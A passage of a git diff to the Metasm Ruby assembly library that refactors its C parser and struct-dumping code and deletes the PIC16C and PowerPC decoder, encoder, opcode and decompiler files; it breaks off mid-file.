:'-'; BaseType.new(:long) # addr_t or sumthin ? - when :'-='; l.type - when :'>', :'>=', :'<', :'<=', :'==', :'!='; BaseType.new(:long) - else raise parser, "cannot do #{op.inspect} on pointers" unless parser.allow_bad_c ; l.type - end - elsif l.type.pointer? or r.type.pointer? - puts parser.exception("should not #{op.inspect} a pointer").message if $VERBOSE and not [:'+', :'-', :'=', :'+=', :'-=', :==, :'!='].include? op - type = l.type.pointer? ? l.type : r.type - else - # yay integer promotion - lt = l.type.untypedef - rt = r.type.untypedef - if (t = lt).name == :longdouble or (t = rt).name == :longdouble or - (t = lt).name == :double or (t = rt).name == :double or - (t = lt).name == :float or (t = rt).name == :float - # long double > double > float ... - type = t - elsif true - # custom integer rules based on type sizes - lts = parser.typesize[lt.name] - rts = parser.typesize[rt.name] - its = parser.typesize[:int] - if not lts or not rts - type = BaseType.new(:int) - elsif lts > rts and lts >= its - type = lt - elsif rts > lts and rts >= its - type = rt - elsif lts == rts and lts >= its - type = lt - type = rt if rt.specifier == :unsigned - else - type = BaseType.new(:int) - end - # end of custom rules - elsif ((t = lt).name == :long and t.specifier == :unsigned) or - ((t = rt).name == :long and t.specifier == :unsigned) - # ... ulong ... - type = t - elsif (lt.name == :long and rt.name == :int and rt.specifier == :unsigned) or - (rt.name == :long and lt.name == :int and lt.specifier == :unsigned) - # long+uint => ulong - type = BaseType.new(:long, :unsigned) - elsif (t = lt).name == :long or (t = rt).name == :long or - ((t = lt).name == :int and t.specifier == :unsigned) or - ((t = rt).name == :int and t.specifier == :unsigned) - # ... long > uint ... - type = t - else - # int - type = BaseType.new(:int) - end - end - - case op - when :'>', :'>=', :'<', :'<=', :'==', :'!=' - # cast both sides - l = CExpression[l, type] if l.type != type - r = CExpression[r, type] if r.type != type - stack << CExpression.new(l, op, r, BaseType.new(:int)) - else - # promote result - stack << CExpression.new(l, op, r, type) - end - end - } - return if not e = parse_value(parser, scope) stack << e @@ -2783,7 +2913,7 @@ EOH when :'?' # a, b ? c, d : e, f == a, (b ? (c, d) : e), f until opstack.empty? or OP_PRIO[opstack.last][:'?:'] - popstack[] + parse_popstack(parser, stack, opstack) end stack << parse(parser, scope) raise op || parser, '":" expected' if not op = readop(parser) or op.value != :':' @@ -2798,7 +2928,7 @@ EOH break end until opstack.empty? or OP_PRIO[op.value][opstack.last] - popstack[] + parse_popstack(parser, stack, opstack) end end @@ -2808,7 +2938,7 @@ EOH end until opstack.empty? - popstack[] + parse_popstack(parser, stack, opstack) end CExpression[stack.first] @@ -2830,16 +2960,19 @@ EOH # stroff is the offset from the start of this string (non-nul for nested structs) # cp is a reference to the C::Parser # struct to the C::Union/Struct/Array - # length is the byte size of the C struct - # XXX for an Array, it's also the byte size, check obj.struct.length for number of elements - attr_accessor :str, :stroff, :cp, :struct, :length + # sizeof is the byte size of the C struct + attr_accessor :str, :stroff, :cp, :struct + attr_writer :sizeof def initialize(cp, struct, str=nil, stroff=0) @cp, @struct = cp, struct - @length = @cp.sizeof(@struct) - @str = str || [0].pack('C')*@length + @str = str || [0].pack('C')*sizeof @stroff = stroff end + def sizeof + @sizeof ||= @cp.sizeof(@struct) + end + def [](*a) if @struct.kind_of? C::Array and a.length == 1 and @struct.length and a[0].kind_of? Integer i = a[0] @@ -2897,9 +3030,10 @@ EOH end a, val = a - raise "#{a.inspect} not a struct member" if not a.kind_of? C::Variable and not f = @struct.findmember(a.to_s, true) - a = f.name if a.kind_of? String or a.kind_of? Symbol - val = @length if val == :size + f = a + raise "#{a.inspect} not a struct member" if not f.kind_of? C::Variable and not f = @struct.findmember(a.to_s, true) + a = f.name || f + val = sizeof if val == :size off = @stroff + @struct.offsetof(@cp, a) if bf = @struct.bitoffsetof(@cp, a) @@ -2932,14 +3066,14 @@ EOH def to_s(off=nil, maxdepth=500) return '{ /* ... */ }' if maxdepth <= 0 str = [''] - if @struct.kind_of? C::Array + if @struct.kind_of?(C::Array) str.last << "#{@struct.type} x[#{@struct.length}] = " if not off mlist = (0...@struct.length) fldoff = mlist.inject({}) { |h, i| h.update i => i*@cp.sizeof(@struct.type) } - elsif @struct.kind_of? C::Struct + elsif @struct.kind_of?(C::Struct) str.last << "struct #{@struct.name || '_'} x = " if not off + @struct.update_member_cache(@cp) if not @struct.fldlist fldoff = @struct.fldoffset - fbo = @struct.fldbitoffset || {} mlist = @struct.members.map { |m| m.name || m } else str.last << "union #{@struct.name || '_'} x = " if not off @@ -2947,7 +3081,7 @@ EOH end str.last << '{' mlist.each { |k| - if k.kind_of? C::Variable # anonymous member + if k.kind_of? Variable # anonymous member curoff = off.to_i + @struct.offsetof(@cp, k) val = self[k] k = '?' @@ -2955,7 +3089,7 @@ EOH curoff = off.to_i + (fldoff ? fldoff[k].to_i : 0) val = self[k] end - if val.kind_of? Integer + if val.kind_of?(::Integer) if val >= 0x100 val = '0x%X, // +%x' % [val, curoff] elsif val <= -0x100 @@ -2971,7 +3105,7 @@ EOH val = val.to_s.sub(/$/, ', // +%x' % curoff) end val = val.gsub("\n", "\n\t") - str << "\t#{k.kind_of?(Integer) ? "[#{k}]" : ".#{k}"} = #{val}" + str << "\t#{k.kind_of?(::Integer) ? "[#{k}]" : ".#{k}"} = #{val}" } str << '}' str.last << (off ? ',' : ';') @@ -3170,8 +3304,7 @@ EOH all = @toplevel.struct.values + @toplevel.symbol.values all -= all.grep(::Integer) # Enum values - r, dep = @toplevel.dump_reorder(all, todo_rndr, todo_deps) - r.join("\n") + @toplevel.dump_reorder(all, todo_rndr, todo_deps)[0].join("\n") end # returns a string containing the C definition(s) of toplevel functions, with their dependencies @@ -3750,7 +3883,7 @@ EOH r.last << 'asm ' r.last << 'volatile ' if @volatile r.last << '(' - r.last << @body.inspect + r.last << CExpression.string_inspect(@body) if @output or @input or @clobber if @output and @output != [] # TODO @@ -3768,13 +3901,18 @@ EOH end end if @clobber and @clobber != [] - r << (': ' << @clobber.map { |c| c.inspect }.join(', ')) + r << (': ' << @clobber.map { |c| CExpression.string_inspect(c) }.join(', ')) end r.last << ');' [r, dep] end end class CExpression + def self.string_inspect(s) + # keep all ascii printable except \ and " + '"' + s.gsub(/[^ !\x23-\x5b\x5d-\x7e]/) { |o| '\\x' + o.unpack('H*').first } + '"' + end + def self.dump(e, scope, r=[''], dep=[], brace = false) if $DEBUG brace = false @@ -3787,7 +3925,7 @@ EOH r, dep = \ case e when ::Numeric; r.last << e.to_s ; [r, dep] - when ::String; r.last << e.inspect ; [r, dep] + when ::String; r.last << string_inspect(e) ; [r, dep] when CExpression; e.dump_inner(scope, r, dep, brace) when Variable; e.dump(scope, r, dep) when nil; [r, dep] @@ -3832,7 +3970,7 @@ EOH end when ::String r.last << 'L' if @type.kind_of? Pointer and @type.type.kind_of? BaseType and @type.type.name == :short - r.last << @rexpr.inspect + r.last << CExpression.string_inspect(@rexpr) when CExpression # cast r, dep = @type.dump_cast(scope, r, dep) r, dep = CExpression.dump(@rexpr, scope, r, dep, true) @@ -3866,7 +4004,7 @@ EOH l = lexpr.lexpr.type.pointed.untypedef.findmember(lexpr.rexpr) if lexpr.kind_of? CExpression and lexpr.op == :'->' # honor __attribute__((indexenum(enumname))) if l and l.attributes and rexpr.kind_of? CExpression and not rexpr.op and rexpr.rexpr.kind_of? ::Integer and - n = l.has_attribute_var('indexenum') and enum = scope.struct_ancestors[n] and i = enum.members.index(rexpr.rexpr) + n = l.has_attribute_var('indexenum') and enum = scope.struct_ancestors[n] and i = enum.members.index(rexpr.rexpr) r.last << i dep |= [enum] else diff --git a/lib/metasm/metasm/pic16c/decode.rb b/lib/metasm/metasm/pic16c/decode.rb deleted file mode 100644 index ec3daa4428..0000000000 --- a/lib/metasm/metasm/pic16c/decode.rb +++ /dev/null @@ -1,42 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/pic16c/opcodes' -require 'metasm/decode' - -module Metasm -class Pic16c - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - op.bin_mask = Array.new(op.bin.length, 0) - op.fields.each { |f, (oct, off)| - op.bin_mask[oct] |= (@fields_mask[f] << off) - } - op.bin_mask.map! { |v| 255 ^ v } - end - - def build_bin_lookaside - # sets up a hash byte value => list of opcodes that may match - # opcode.bin_mask is built here - lookaside = Array.new(256) { [] } - @opcode_list.each { |op| - - build_opcode_bin_mask op - - b = op.bin[0] - msk = op.bin_mask[0] - - - for i in b..(b | (255^msk)) - ext if i & msk != b & msk - - lookaside[i] << op - end - } - lookaside - end -end -end diff --git a/lib/metasm/metasm/pic16c/opcodes.rb b/lib/metasm/metasm/pic16c/opcodes.rb deleted file mode 100644 index cfc96d07cd..0000000000 --- a/lib/metasm/metasm/pic16c/opcodes.rb +++ /dev/null @@ -1,68 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/pic16c/main' - -module Metasm -class Pic16c - def addop(name, bin, *l) - o = Opcode.new name, bin - l.each { |ll| - if @props_allowed[ll] - o.props[ll] = true - else - o.args << ll - o.fields[ll] = @fields_off[ll] - end - } - @opcode_list << o - end - - def init - @fields_mask = {:f => 0x7f, :b => 0x7, :k => 0xff, :klong => 0x3ff, :d => 1 } - @props_allowed = {:setip => true, :saveip => true, :stopexec => true } - @fields_off = { :f => 0, :b => 7, :k => 0, :klong => 0, :d => 7, :d => 7 } - - addop 'addwf', 0b00_0111_0000_0000, :f, :d - addop 'andwf', 0b00_0101_0000_0000, :f, :d - addop 'clrf', 0b00_0001_1000_0000, :f - addop 'clrw', 0b00_0001_0000_0000 # 00_0001_0xxx_xxxx - addop 'comf', 0b00_1001_0000_0000, :f, :d - addop 'decf', 0b00_0011_0000_0000, :f, :d - addop 'decfsz',0b00_1011_0000_0000, :f, :d - addop 'incf', 0b00_1010_0000_0000, :f, :d - addop 'incfsz',0b00_1111_0000_0000, :f, :d - addop 'iorwf', 0b00_0100_0000_0000, :f, :d - addop 'movf', 0b00_1000_0000_0000, :f, :d - addop 'movwf', 0b00_0000_1000_0000, :f - addop 'nop', 0b00_0000_0000_0000 # 00_0000_0xx0_0000 - addop 'rlf', 0b00_1101_0000_0000, :f, :d - addop 'rrf', 0b00_1100_0000_0000, :f, :d - addop 'subwf', 0b00_0010_0000_0000, :f, :d - addop 'swapf', 0b00_1110_0000_0000, :f, :d - addop 'xorwf', 0b00_0110_0000_0000, :f, :d - - addop 'bcf', 0b01_0000_0000_0000, :f, :b - addop 'bsf', 0b01_0100_0000_0000, :f, :b - addop 'btfsc', 0b01_1000_0000_0000, :f, :b, :setip - addop 'btfss', 0b01_1100_0000_0000, :f, :b, :setip - - addop 'addlw', 0b11_1110_0000_0000, :k # 00_000x_0000_0000 - addop 'andlw', 0b11_1001_0000_0000, :k - addop 'call', 0b10_0000_0000_0000, :klong, :setip, :stopexec, :saveip - addop 'clrwdt',0b00_0000_0110_0100 - addop 'goto', 0b10_1000_0000_0000, :klong, :setip, :stopexec - addop 'iorlw', 0b11_1000_0000_0000, :k - addop 'movlw', 0b11_0000_0000_0000, :k # 00_00xx_0000_0000 - addop 'retfie',0b00_0000_0000_1001, :setip, :stopexec - addop 'retlw', 0b11_0100_0000_0000, :k, :setip, :stopexec # 00_00xx_0000_0000 - addop 'return',0b00_0000_0000_1000, :setip, :stopexec - addop 'sleep', 0b00_0000_0110_0011 - addop 'sublw', 0b11_1100_0000_0000, :k # 00_000x_0000_0000 - addop 'xorlw', 0b11_1010_0000_0000, :k - end -end -end diff --git a/lib/metasm/metasm/ppc.rb b/lib/metasm/metasm/ppc.rb deleted file mode 100644 index 13b218461a..0000000000 --- a/lib/metasm/metasm/ppc.rb +++ /dev/null @@ -1,11 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/ppc/parse' -require 'metasm/ppc/encode' -require 'metasm/ppc/decode' -require 'metasm/ppc/decompile' diff --git a/lib/metasm/metasm/ppc/decode.rb b/lib/metasm/metasm/ppc/decode.rb deleted file mode 100644 index df70a7b470..0000000000 --- a/lib/metasm/metasm/ppc/decode.rb +++ /dev/null @@ -1,264 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ppc/opcodes' -require 'metasm/decode' - -module Metasm -class PowerPC - def build_opcode_bin_mask(op) - # bit = 0 if can be mutated by an field value, 1 if fixed by opcode - return if not op.bin.kind_of? Integer - op.bin_mask = 0 - op.args.each { |f| - op.bin_mask |= @fields_mask[f] << @fields_shift[f] - } - op.bin_mask = 0xffff_ffff ^ op.bin_mask - end - - def build_bin_lookaside - lookaside = Array.new(256) { [] } - opcode_list.each { |op| - next if not op.bin.kind_of? Integer - build_opcode_bin_mask op - - b = op.bin >> 24 - msk = op.bin_mask >> 24 - - for i in b..(b | (255^msk)) - next if i & msk != b & msk - lookaside[i] << op - end - } - lookaside - end - - def decode_findopcode(edata) - return if edata.ptr >= edata.data.length - di = DecodedInstruction.new(self) - val = edata.decode_imm(:u32, @endianness) - edata.ptr -= 4 - di if di.opcode = @bin_lookaside[val >> 24].find { |op| - (op.bin & op.bin_mask) == (val & op.bin_mask) - } - end - - def decode_instr_op(edata, di) - before_ptr = edata.ptr - op = di.opcode - di.instruction.opname = op.name - val = edata.decode_imm(:u32, @endianness) - - field_val = lambda { |f| - r = (val >> @fields_shift[f]) & @fields_mask[f] - case f - when :bd, :d, :ds, :dq, :si, :ui; r = Expression.make_signed(r<<@fields_shift[f], 16) - when :li; r = Expression.make_signed(r<<@fields_shift[f], 26) - else r - end - } - - op.args.each { |a| - di.instruction.args << case a - when :ra, :rb, :rs, :rt; GPR.new field_val[a] - when :fra, :frb, :frc, :frs, :frt; FPR.new field_val[a] - when :ra_i16, :ra_i16s, :ra_i16q - i = field_val[{:ra_i16 => :d, :ra_i16s => :ds, :ra_i16q => :dq}[a]] - Memref.new GPR.new(field_val[:ra]), Expression[i] - when :bd, :d, :ds, :dq, :si, :ui, :li, :sh, :ma, :mb, :me, :ma_, :mb_, :me_; Expression[field_val[a]] - when :ign_bo_zzz, :ign_bo_z, :ign_bo_at, :ign_bo_at2, :ign_bi, :aa, :lk, :oe, :rc, :l; next - else raise SyntaxError, "Internal error: invalid argument #{a} in #{op.name}" - end - } - di.bin_length += edata.ptr - before_ptr - - decode_aliases(di.instruction) - - di - end - - def decode_aliases(i) - case i.opname - when /^n?or\.?$/ - if i.args[1] == i.args[2] - i.args.pop - i.opname = {'or' => 'mr', 'or.' => 'mr.', 'nor' => 'not', 'nor.' => 'not.'}[i.opname] - end - when /^addi/ - if a = i.args[2].reduce and a.kind_of? Integer and a < 0 - i.args[2] = Expression[-a] - i.opname = i.opname.sub('addi', 'subi') - end - end - - case i.opname - when /^(add|sub|xor|and|or|div|mul|nand)/ - if i.args.length == 3 and i.args[0] == i.args[1] - i.args.shift - end - end - - end - - # converts relative branch offsets to absolute addresses - # else just add the offset +off+ of the instruction + its length (off may be an Expression) - # assumes edata.ptr points just after the instruction (as decode_instr_op left it) - # do not call twice on the same di ! - def decode_instr_interpret(di, addr) - if di.opcode.props[:setip] and di.instruction.args.last.kind_of? Expression and di.opcode.name[0] != ?t and di.opcode.name[-1] != ?a - arg = Expression[addr, :+, di.instruction.args.last].reduce - di.instruction.args[-1] = Expression[arg] - end - - di - end - - # TODO - def backtrace_update_function_binding(dasm, faddr, f, retaddrlist, *wantregs) - retaddrlist.to_a.map! { |retaddr| dasm.decoded[retaddr] ? dasm.decoded[retaddr].block.list.last.address : retaddr } - b = f.backtrace_binding - - bt_val = lambda { |r| - bt = [] - retaddrlist.to_a.each { |retaddr| - bt |= dasm.backtrace(Expression[r], retaddr, - :include_start => true, :snapshot_addr => faddr, :origin => retaddr) - } - b[r] = ((bt.length == 1) ? bt.first : Expression::Unknown) - } - wantregs = GPR::Sym if wantregs.empty? - wantregs.map { |r| r.to_sym }.each(&bt_val) - - #puts "update_func_bind: #{Expression[faddr]} has sp -> #{b[:$sp]}" if not Expression[b[:$sp], :-, :$sp].reduce.kind_of?(::Integer) if $VERBOSE - end - - def backtrace_is_function_return(expr, di=nil) - expr.reduce_rec == :lr - end - - def backtrace_is_stack_address(expr) - Expression[expr].expr_externals.include? :sp - end - - def replace_instr_arg_immediate(i, old, new) - i.args.map! { |a| - case a - when Expression; a == old ? new : Expression[a.bind(old => new).reduce] - when Memref - a.offset = (a.offset == old ? new : Expression[a.offset.bind(old => new).reduce]) if a.offset.kind_of? Expression - a - else a - end - } - end - - def disassembler_default_func - df = DecodedFunction.new - df.backtrace_binding = (0..31).inject({}) { |h, r| r != 1 ? h.update("r#{r}".to_sym => Expression::Unknown) : h } - df.backtracked_for = [BacktraceTrace.new(Expression[:lr], :default, Expression[:lr], :x)] - df.btfor_callback = lambda { |dasm, btfor, funcaddr, calladdr| - if funcaddr != :default - btfor - elsif di = dasm.decoded[calladdr] and di.opcode.props[:saveip] - btfor - else [] - end - } - df - end - - # hash opname => lambda { |di, *sym_args| binding } - def backtrace_binding - @backtrace_binding ||= init_backtrace_binding - end - def backtrace_binding=(b) @backtrace_binding = b end - - def init_backtrace_binding - @backtrace_binding ||= {} - opcode_list.map { |ol| ol.name }.uniq.each { |op| - binding = case op - when 'mr', 'li', 'la'; lambda { |di, a0, a1| { a0 => Expression[a1] } } - when 'lis'; lambda { |di, a0, a1| { a0 => Expression[a1, :<<, 16] } } - when 'mtctr'; lambda { |di, a0| { :ctr => Expression[a0] } } - when 'mfctr'; lambda { |di, a0| { a0 => Expression[:ctr] } } - when 'mtlr'; lambda { |di, a0| { :lr => Expression[a0] } } - when 'mflr'; lambda { |di, a0| { a0 => Expression[:lr] } } - when 'lwzu'; lambda { |di, a0, m| - ret = { a0 => Expression[m] } - ptr = m.pointer.externals.grep(Symbol).first - ret[ptr] = m.pointer if ptr != a0 - ret - } - when 'lwz'; lambda { |di, a0, m| { a0 => Expression[m] } } - when 'stwu'; lambda { |di, a0, m| - { m => Expression[a0], m.pointer.externals.grep(Symbol).first => m.pointer } - } - when 'stw'; lambda { |di, a0, m| { m => Expression[a0] } } - when 'rlwinm'; lambda { |di, a0, a1, sh, mb, me| - mb, me = mb.reduce, me.reduce - cpmsk = (1<<@size) - 1 - a1 = Expression[a1, :&, cpmsk] - rol = Expression[[a1, :<<, sh], :|, [a1, :>>, [@size, :-, sh]]] - if mb == me+1 - msk = cpmsk - elsif mb < me+1 - msk = (((1 << ((me+1)-mb)) - 1) << (@size-(me+1))) - else - msk = (((1 << (mb-(me+1))) - 1) << (@size-mb)) ^ cpmsk - end - { a0 => Expression[Expression[rol, :&, msk].reduce] } - } - - when 'add', 'addi', 'add.', 'addi.'; lambda { |di, *a| { a[0] => Expression[a[-2], :+, a[-1]] } } - when 'addis', 'addis.'; lambda { |di, *a| { a[0] => Expression[a[-2], :+, [a[-1], :<<, 16]] } } - when 'sub', 'subi', 'sub.', 'subi.'; lambda { |di, *a| { a[0] => Expression[a[-2], :-, a[-1]] } } - when 'subis', 'subis.'; lambda { |di, *a| { a[0] => Expression[a[-2], :-, [a[-1], :<<, 16]] } } - when /^b.*la?$/; lambda { |di, *a| { :lr => Expression[di.next_addr] } } - when 'nop', /^cmp/, /^b/; lambda { |di, *a| {} } - end - - @backtrace_binding[op] ||= binding if binding - } - @backtrace_binding - end - - def get_backtrace_binding(di) - a = di.instruction.args.map { |arg| - case arg - when Memref; arg.symbolic(di.address) - when Reg; arg.symbolic - else arg - end - } - - binding = if binding = backtrace_binding[di.instruction.opname] - binding[di, *a] - else - puts "unknown instruction to emu #{di}" if $VERBOSE - {} - end - - binding - end - - def get_xrefs_x(dasm, di) - return [] if not di.opcode.props[:setip] - - arg = case di.instruction.opname - when 'bctr', 'bctrl'; :ctr - when 'blr', 'blrl'; :lr - else di.instruction.args.last - end - - [Expression[ - case arg - when Memref; Indirection[[arg.base.to_s.to_sym, :+, arg.offset], @size/8, di.address] - when Reg; arg.to_s.to_sym - else arg - end]] - end -end -end diff --git a/lib/metasm/metasm/ppc/decompile.rb b/lib/metasm/metasm/ppc/decompile.rb deleted file mode 100644 index 7f0cece11f..0000000000 --- a/lib/metasm/metasm/ppc/decompile.rb +++ /dev/null @@ -1,251 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ppc/main' - -module Metasm -class PowerPC - # temporarily setup dasm.address_binding so that backtracking - # stack-related offsets resolve in :frameptr (relative to func start) - def decompile_makestackvars(dasm, funcstart, blocks) - oldfuncbd = dasm.address_binding[funcstart] - dasm.address_binding[funcstart] = { :sp => :frameptr } # this would suffice, the rest here is just optimisation - - blocks.each { |block| - yield block - } - - dasm.address_binding[funcstart] = oldfuncbd if oldfuncbd - end - - # list variable dependency for each block, remove useless writes - # returns { blockaddr => [list of vars that are needed by a following block] } - def decompile_func_finddeps(dcmp, blocks, func) - deps_r = {} ; deps_w = {} ; deps_to = {} - deps_subfunc = {} # things read/written by subfuncs - - # find read/writes by each block - blocks.each { |b, to| - deps_r[b] = [] ; deps_w[b] = [] ; deps_to[b] = to - deps_subfunc[b] = [] - - blk = dcmp.dasm.decoded[b].block - blk.list.each { |di| - a = di.backtrace_binding.values - w = [] - di.backtrace_binding.keys.each { |k| - case k - when ::Symbol; w |= [k] - else a |= Expression[k].externals # if dword [eax] <- 42, eax is read - end - } - #a << :eax if di.opcode.name == 'ret' # standard ABI - - deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b] - deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - } - stackoff = nil - blk.each_to_normal { |t| - t = dcmp.backtrace_target(t, blk.list.last.address) - next if not t = dcmp.c_parser.toplevel.symbol[t] - t.type = C::Function.new(C::BaseType.new(:int)) if not t.type.kind_of? C::Function # XXX this may seem a bit extreme, and yes, it is. - stackoff ||= Expression[dcmp.dasm.backtrace(:sp, blk.list.last.address, :snapshot_addr => blocks.first[0]).first, :-, :sp].reduce - } - if stackoff # last block instr == subfunction call - deps_r[b] |= deps_subfunc[b] - deps_w[b] - #deps_w[b] |= [:eax, :ecx, :edx] # standard ABI - end - } - - - - # find regs read and never written (must have been set by caller and are part of the func ABI) - uninitialized = lambda { |b, r, done| - from = deps_to.keys.find_all { |f| deps_to[f].include? b } - done - from.empty? or from.find { |f| - !deps_w[f].include?(r) and uninitialized[f, r, done + [b]] - } - } - - # remove writes from a block if no following block read the value - dw = {} - deps_w.each { |b, deps| - dw[b] = deps.reject { |dep| - ret = true - done = [] - todo = deps_to[b].dup - while a = todo.pop - next if done.include? a - done << a - if not deps_r[a] or deps_r[a].include? dep - ret = false - break - elsif not deps_w[a].include? dep - todo.concat deps_to[a] - end - end - ret - } - } - - dw - end - - def decompile_blocks(dcmp, myblocks, deps, func, nextaddr = nil) - scope = func.initializer - func.type.args.each { |a| scope.symbol[a.name] = a } - stmts = scope.statements - func_entry = myblocks.first[0] - until myblocks.empty? - b, to = myblocks.shift - if l = dcmp.dasm.get_label_at(b) - stmts << C::Label.new(l) - end - - # list of assignments [[dest reg, expr assigned]] - ops = [] - # reg binding (reg => value, values.externals = regs at block start) - binding = {} - # Expr => CExpr - ce = lambda { |*e| dcmp.decompile_cexpr(Expression[Expression[*e].reduce], scope) } - # Expr => Expr.bind(binding) => CExpr - ceb = lambda { |*e| ce[Expression[*e].bind(binding)] } - - # dumps a CExprs that implements an assignment to a reg (uses ops[], patches op => [reg, nil]) - commit = lambda { - deps[b].map { |k| - [k, ops.rindex(ops.reverse.find { |r, v| r == k })] - }.sort_by { |k, i| i.to_i }.each { |k, i| - next if not i or not binding[k] - e = k - final = [] - ops[0..i].reverse_each { |r, v| - final << r if not v - e = Expression[e].bind(r => v).reduce if not final.include? r - } - ops[i][1] = nil - binding.delete k - stmts << ce[k, :'=', e] if k != e - } - } - - # go ! - dcmp.dasm.decoded[b].block.list.each_with_index { |di, didx| - a = di.instruction.args - if di.opcode.props[:setip] and not di.opcode.props[:stopexec] - # conditional jump - commit[] - n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) - #cc = ceb[decode_cc_to_expr(di.opcode.name[1..-1])] - cc = ceb[:condjmp] - stmts << C::If.new(C::CExpression[cc], C::Goto.new(n)) - to.delete dcmp.dasm.normalize(n) - next - end - - case di.opcode.name - when 'blr' - commit[] - stmts << C::Return.new(nil) - when 'bl' # :saveip - n = dcmp.backtrace_target(get_xrefs_x(dcmp.dasm, di).first, di.address) - args = [] - if t = dcmp.c_parser.toplevel.symbol[n] and t.type.args - stackoff = Expression[dcmp.dasm.backtrace(:sp, di.address, :snapshot_addr => func_entry), :-, :sp].bind(:sp => :frameptr).reduce rescue nil - args_todo = t.type.args.dup - args = [] - args_todo.each { - if stackoff.kind_of? Integer - var = Indirection[[:frameptr, :+, stackoff], @size/8] - stackoff += @size/8 - else - var = 0 - end - args << ceb[var] - binding.delete var - } - end - commit[] - #next if not di.block.to_subfuncret - - if n.kind_of? ::String - if not f = dcmp.c_parser.toplevel.symbol[n] - # internal functions are predeclared, so this one is extern - f = dcmp.c_parser.toplevel.symbol[n] = C::Variable.new - f.name = n - f.type = C::Function.new(C::BaseType.new(:int)) - dcmp.c_parser.toplevel.statements << C::Declaration.new(f) - end - commit[] - else - # indirect funcall - fptr = ceb[n] - binding.delete n - commit[] - proto = C::Function.new(C::BaseType.new(:int)) - f = C::CExpression[[fptr], proto] - end - binding.delete :eax - e = C::CExpression[f, :funcall, args] - e = C::CExpression[ce[:eax], :'=', e, f.type.type] if deps[b].include? :eax and f.type.type != C::BaseType.new(:void) - stmts << e - when 'b' - a = di.instruction.args.first - if a.kind_of? Expression - else - # indirect jmp, convert to return (*fptr)(); - n = di.instruction.args.first.symbolic - fptr = ceb[n] - binding.delete n - commit[] - proto = C::Function.new(C::BaseType.new(:void)) - ret = C::Return.new(C::CExpression[[[fptr], C::Pointer.new(proto)], :funcall, []]) - class << ret ; attr_accessor :from_instr end - ret.from_instr = di - stmts << ret - to = [] - end - else - bd = get_fwdemu_binding(di) - if di.backtrace_binding[:incomplete_binding] - commit[] - stmts << C::Asm.new(di.instruction.to_s, nil, nil, nil, nil, nil) - else - bd.each { |k, v| - if k.kind_of? ::Symbol - ops << [k, v] - else # memory - stmts << ceb[k, :'=', v] - binding.delete k - end - } - update = {} - bd.each { |k, v| - next if not k.kind_of? ::Symbol - update[k] = Expression[Expression[v].bind(binding).reduce] - } - binding.update update - end - end - } - commit[] - - case to.length - when 0 - if not myblocks.empty? and not %w[ret jmp].include? dcmp.dasm.decoded[b].block.list.last.instruction.opname - puts " block #{Expression[b]} has no to and don't end in ret" - end - when 1 - if (myblocks.empty? ? nextaddr != to[0] : myblocks.first.first != to[0]) - stmts << C::Goto.new(dcmp.dasm.auto_label_at(to[0], 'unknown_goto')) - end - else - puts " block #{Expression[b]} with multiple to" - end - end - end -end -end diff --git a/lib/metasm/metasm/ppc/encode.rb b/lib/metasm/metasm/ppc/encode.rb deleted file mode 100644 index e0008d8d9c..0000000000 --- a/lib/metasm/metasm/ppc/encode.rb +++ /dev/null @@ -1,51 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/ppc/opcodes' -require 'metasm/encode' - -module Metasm -class PowerPC - private - def encode_instr_op(exe, instr, op) - base = op.bin - set_field = lambda { |f, v| - base |= (v & @fields_mask[f]) << @fields_shift[f] - } - - val, mask, shift = 0, 0, 0 - -# TODO - # convert label name for jmp/call/loop to relative offset - if op.props[:setip] and op.name[0] != ?t and instr.args.last.kind_of? Expression - postlabel = exe.new_label('jmp_offset') - instr = instr.dup - instr.args[-1] = Expression[[instr.args[-1], :-, postlabel], :>>, 2] - postdata = EncodedData.new '', :export => {postlabel => 0} - else - postdata = '' - end - - op.args.zip(instr.args).each { |sym, arg| - case sym - when :rs, :rt, :rd - set_field[sym, arg.i] - when :ft - set_field[sym, arg.i] - when :rs_i16 - set_field[:rs, arg.base.i] - val, mask, shift = arg.offset, @fields_mask[:i16], @fields_shift[:i16] - when :sa, :i16, :i20 - val, mask, shift = arg, @fields_mask[sym], @fields_shift[sym] - when :i26 - val, mask, shift = Expression[arg, :>>, 2], @fields_mask[sym], @fields_shift[sym] - end - } - - Expression[base, :+, [[val, :&, mask], :<<, shift]].encode(:u32, @endianness) << postdata - end -end -end diff --git a/lib/metasm/metasm/ppc/main.rb b/lib/metasm/metasm/ppc/main.rb deleted file mode 100644 index cfcfb70cbb..0000000000 --- a/lib/metasm/metasm/ppc/main.rb +++ /dev/null @@ -1,129 +0,0 @@ -# This file is part of Metasm, the Ruby assembly manipulation suite -# Copyright (C) 2006-2009 Yoann GUILLOT -# -# Licence is LGPL, see LICENCE in the top-level directory - - -require 'metasm/main' -require 'metasm/render' - -module Metasm -class PowerPC < CPU - class Reg - include Renderable - - def ==(o) - o.class == self.class and (not respond_to?(:i) or o.i == i) - end - end - - # general purpose reg - class GPR < Reg - attr_accessor :i - def initialize(i) - @i = i - end - - Sym = (0..31).map { |i| "r#{i}".to_sym } - Sym[1] = :sp - def symbolic ; Sym[@i] end - def render ; [@i == 1 ? 'sp' : 